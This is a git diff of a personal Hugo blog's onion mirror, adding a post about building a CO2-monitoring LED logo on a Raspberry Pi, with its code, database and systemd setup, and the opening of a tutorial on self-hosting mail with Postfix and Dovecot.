    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/raspberrypi/page/1/index.html b/public-onion/tags/raspberrypi/page/1/index.html new file mode 100644 index 0000000..8a0d87a --- /dev/null +++ b/public-onion/tags/raspberrypi/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/ + + + + + + diff --git a/public-onion/tags/roundcube/index.html b/public-onion/tags/roundcube/index.html new file mode 100644 index 0000000..f3b453d --- /dev/null +++ b/public-onion/tags/roundcube/index.html @@ -0,0 +1,354 @@ + + + + + + + +Roundcube | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/roundcube/index.xml b/public-onion/tags/roundcube/index.xml new file mode 100644 index 0000000..d658901 --- /dev/null +++ b/public-onion/tags/roundcube/index.xml @@ -0,0 +1,154 @@ + + + + Roundcube on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/roundcube/ + Recent content in Roundcube on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

